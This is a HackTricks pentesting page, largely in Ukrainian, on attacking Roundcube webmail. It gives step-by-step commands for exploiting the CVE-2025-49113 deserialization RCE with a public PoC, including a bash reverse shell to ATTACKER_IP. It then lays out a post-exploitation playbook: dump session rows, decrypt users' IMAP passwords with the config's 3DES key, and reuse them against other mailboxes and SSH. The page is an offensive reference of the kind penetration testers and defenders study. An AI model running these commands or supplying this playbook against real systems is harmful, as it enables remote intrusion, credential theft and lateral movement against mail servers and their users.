Roundcube

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Огляд

Roundcube — PHP webmail клієнт, який зазвичай доступний на HTTP(S) vhosts (наприклад, mail.example.tld). Корисні fingerprints:

  • HTML-код часто leaks rcversion (наприклад, window.rcmail && rcmail.env.rcversion)
  • Шлях додатку за замовчуванням в containers/VMs: /var/www/html/roundcube
  • Основна конфігурація: config/config.inc.php

Authenticated RCE via PHP object deserialization (CVE-2025-49113)

Постраждалі версії (за даними постачальника/NVD):

  • 1.6.x before 1.6.11
  • 1.5.x before 1.5.10

Коротко про вразливість

  • Параметр _from у program/actions/settings/upload.php не перевіряється, що дозволяє injection attacker‑controlled data, які Roundcube пізніше unserializes, що призводить до gadget chain execution і remote code execution у web-контексті (post‑auth).

Quick exploitation

  • Вимоги: дійсні облікові дані Roundcube та досяжний UI URL (наприклад, http://mail.target.tld)
  • Публічний PoC автоматизує обробку сесій, gadget crafting та процес завантаження
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
php CVE-2025-49113.php http://mail.target.tld USER PASS CMD

# examples
php CVE-2025-49113.php http://mail.target.tld user 'pass' "id"
# blind timing proof
time php CVE-2025-49113.php http://mail.target.tld user 'pass' "sleep 5"

# reverse shell
nc -nvlp 443
php CVE-2025-49113.php http://mail.target.tld user 'pass' \
"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"

Notes

  • Вивід часто сліпий; використовуйте sleep N для валідації RCE
  • Отриманий shell зазвичай працює як www-data; у контейнеризованих розгортаннях очікуйте /.dockerenv і мережу 172.17.0.0/16

Post‑exploitation: відновлення паролів IMAP з сесій Roundcube

Roundcube зберігає IMAP-пароль поточного користувача в сесії (базі даних), зашифрований серверним 3DES-ключем, налаштованим у config.inc.php. Маючи доступ до файлової системи або DB на хості Roundcube, ви можете відновити plaintext паролі та перейти до інших поштових скриньок/сервісів (перевикористання SSH — поширене).

  1. Read DB DSN and 3DES key from config

config/config.inc.php typically contains:

$config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // 24‑byte key (3DES)
  1. Підключитися до DB і dump sessions
mysql -u roundcube -p roundcube
# or: mysql -u roundcube -pDB_PASS roundcube

mysql> SELECT id, created, changed, vars FROM session\G

Поле session.vars — це Base64 blob, створений Roundcube’s encrypt(): Base64( IV || 3DES-CBC(plaintext) ). Перші 8 байтів після Base64‑decoding — це IV.

  1. Знайти поле password

Швидкий спосіб виявити облікові дані всередині розшифрованої структури — спочатку Base64‑decode поле vars і візуально переглянути серіалізовані записи:

echo 'BASE64_FROM_VARS' | base64 -d | tr ';' '\n' | grep -i password
  1. Розшифрувати за допомогою допоміжної утиліти Roundcube

Roundcube поставляється з CLI, який використовує ту саму логіку rcmail->decrypt() та налаштований des_key:

cd /var/www/html/roundcube
./bin/decrypt.sh CIPHERTEXT_BASE64
# -> prints plaintext
  1. Ручне розшифрування 3DES-CBC (необов’язково)
  • Формат шифртексту: Base64( IV(8B) || CT )
  • Алг: 3DES-CBC, довжина ключа 24B, PKCS#7 padding
from base64 import b64decode
iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
iv, ct = iv_ct[:8], iv_ct[8:]
print(iv.hex(), ct.hex())
# decrypt(ct) with key = $config['des_key'], IV = iv

Типові розташування

  • DB table: session (users table maps login names to IDs)
  • Config path: /var/www/html/roundcube/config/config.inc.php

Практичне використання

  • Старі рядки session часто містять IMAP паролі попередніх користувачів; розшифруйте кілька записів, щоб виконати латеральне переміщення в інші поштові скриньки
  • Спробуйте відновлені облікові дані проти SSH або інших сервісів, якщо підозрюється повторне використання паролів

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks